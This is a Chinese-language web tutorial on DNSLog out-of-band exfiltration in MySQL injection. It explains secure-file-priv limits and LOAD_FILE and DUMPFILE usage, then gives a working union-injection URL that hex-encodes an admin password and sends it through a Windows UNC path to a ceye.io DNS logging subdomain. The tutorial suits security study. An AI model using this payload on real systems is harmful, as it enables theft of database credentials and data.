您好,登錄后才能下訂單哦!
這篇文章主要介紹“DNSLog在MySQL注入中的方法是什么”,在日常操作中,相信很多人在DNSLog在MySQL注入中的方法是什么問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”DNSLog在MySQL注入中的方法是什么”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!
簡單理解就是在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起DNS請求,這個時候可以通過DNSlog這種方式把想獲得的數據外帶出來。
SQL注入中的盲注
無回顯的命令執行
無回顯的SSRF
作為攻擊者,提交注入語句,讓數據庫把需要查詢的值和域名拼接起來,然后發生DNS查詢,我們只要能獲得DNS日志,就得到了想要的值。所以我們需要有一個自己的域名,然后再域名商處配置一條NS記錄,然后我們在NS服務器上獲取DNS日志即可。
本次演示一個最常見的注入場景,就是WHERE后面條件處的注入。實驗環境有一個test_user表,三個字段id、user、pass。如下
id | user | pass |
---|---|---|
1 | admin | admin123 |
最后就不再自己搭建一個DNS服務器了,直接用ceye.io這個平臺,這個平臺就集成了Dnslog的功能。
MySQL開啟load_file()
DNSLog平臺(hyuga、CEYE)
Windows平臺
條件:服務端配置可讀寫目錄和正確的用戶權限。
mysql服務端的文件讀取有很多的條件限制,主要是mysql數據庫的配置,為了安全原因,當讀取位于服務器上的文本文件時,文件必須處于數據庫目錄可被所有人讀取。你可以通過執行show variables like '%secure%'
來查看。
secure-file-priv
參數是用來限制LOAD DATA
,SELECT ... OUTFILE
,DUMPFILE
和LOAD_FILE()
可以操作的文件夾。
secure-file-priv
的值可以分為三種情況:
secure-file-priv
的值為null,表示顯示mysqld不允許導入|導出
secure-file-priv
的值為/tmp/
,表示限制mysqld的導入|導出只能發生在/tmp/
目錄下,此時如果讀寫發生在其他文件夾中,就會報錯
當secure-file-priv
的值沒有具體值,表示不對mysqld
的導入|導出做限制。
除此之外,讀取或寫入文件必須擁有可操作的用戶權限否則會報錯。
ERROR 1045 (28000): Access denied for user
讀取文件
SELECT LOAD_FILE('/var/lib/mysql-files/aaa') AS Result;
create database test; create table test (id TEXT, content TEXT); load data infile "/var/lib/mysql-files/aaa" into table test.test FIELDS TERMINATED BY '\n\r';
寫入文件
select group_concat(id) from test INTO DUMPFILE "/var/lib/mysql-files/aaaaa";
MySQL應該是在實戰中利用DNSLOG最多的。
在MySQL中,有一個load_file
函數可以用來讀取本地的文件。
http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(concat('\\\\',(SELECT hex(pass) FROM test.test_user WHERE user='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\\abc'))
可以看到test_user中的pass字段的值的Hex碼就被查詢出來了,為什么這個地方Hex編碼的目的就是減少干擾,因為很多時候數據庫字段的值可能是有特殊符號的,這些特殊符號拼接在域名里是無法做DNS查詢的,因為域名有一定的規范,有些特殊符號是不能帶入的。
注意:load_file
函數再Linux下是無法用來做DNSLOG攻擊的,因為這里就涉及到Windows的UNC路徑。
百度的UNC路徑的解釋
UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網絡驅動器. UNC命名慣例最多被應用于在局域網中訪問文件服務器或者打印機。我們日常常用的網絡共享文件就是這個方式。
其實我們平常在Windows中用共享文件的時候就會用到這種網絡地址的形式
\\sss.xxx\test\
這也就解釋了為什么CONCAT()函數拼接了4個\
了,因為轉義的原因,4個\
就變成了2個\
,目的就是利用UNC路徑。
因為Linux沒有UNC路徑這個東西,所以當MySQL處理Linux系統中的時候,是不能用這種方式外帶數據的。
到此,關于“DNSLog在MySQL注入中的方法是什么”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。